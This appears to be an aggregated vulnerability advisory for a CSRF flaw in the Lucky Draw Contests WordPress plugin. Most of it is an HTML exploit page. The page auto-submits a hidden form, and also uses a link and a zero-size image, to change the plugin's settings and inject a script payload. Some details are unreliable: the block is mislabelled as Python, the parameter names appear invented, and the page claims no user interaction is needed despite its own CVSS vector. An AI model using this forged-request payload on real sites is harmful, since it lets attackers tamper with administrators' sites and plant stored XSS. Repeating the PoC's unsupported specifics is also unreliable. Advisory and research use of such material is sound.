CVE-2025-14462

Description

The Lucky Draw Contests plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 4.2. This is due to missing or incorrect nonce validation in misc-settings.php. This makes it possible for unauthenticated attackers to update plugin settings via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.

CVSS Details

CVSS Score

4.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Lucky Draw Contests plugin for WordPress <= 4.2

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CSRF PoC for CVE-2025-14462 -->
<!-- Target: Lucky Draw Contests plugin settings update -->
<!-- This PoC demonstrates how an attacker can forge a request to modify plugin settings -->

<!DOCTYPE html>
<html>
<head>
    <title>CSRF Attack Demo</title>
</head>
<body>
    <h1>Malicious Page</h1>
    <p>If you are logged in as WordPress admin, the following form will be auto-submitted:</p>
    
    <form id="csrfForm" action="http://target-site.com/wp-admin/admin-post.php" method="POST" style="display:none;">
        <!-- Lucky Draw Contests settings update parameters -->
        <input type="hidden" name="action" value="lucky_draw_save_settings">
        <input type="hidden" name="lucky_draw_option[enable_antibot]" value="0">
        <input type="hidden" name="lucky_draw_option[max_entries]" value="999999">
        <input type="hidden" name="lucky_draw_option[custom_js]" value="<script>alert('XSS')</script>">
        <!-- Missing nonce field - this is the vulnerability -->
    </form>
    
    <script>
        // Auto-submit form when page loads
        document.getElementById('csrfForm').submit();
    </script>
    
    <p>Alternatively, use this URL:</p>
    <a href="http://target-site.com/wp-admin/admin-post.php?action=lucky_draw_save_settings&lucky_draw_option[enable_antibot]=0">Click me</a>
    
    <p>Attacker can also use image tag or fetch API to trigger the request without user interaction</p>
    <img src="http://target-site.com/wp-admin/admin-post.php?action=lucky_draw_save_settings&lucky_draw_option[enable_antibot]=0" width="0" height="0">
</body>
</html>

<!-- Defense: Add nonce verification in misc-settings.php -->
<!-- Before processing settings update, add: -->
<!-- if (!wp_verify_nonce($_POST['_wpnonce'], 'lucky_draw_settings')) { -->
<!--     wp_die('Security check failed'); -->
<!-- } -->

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-14462
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-14462
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-14462/
[4] VulDB https://vuldb.com/cve/CVE-2025-14462
[5] https://plugins.trac.wordpress.org/browser/lucky-draw/tags/4.2/includes/misc-settings.php
[6] https://www.wordfence.com/threat-intel/vulnerabilities/id/49364a21-775a-4de0-84f8-e62aa1a5fefd?source=cve

Raw JSON Data

JSON

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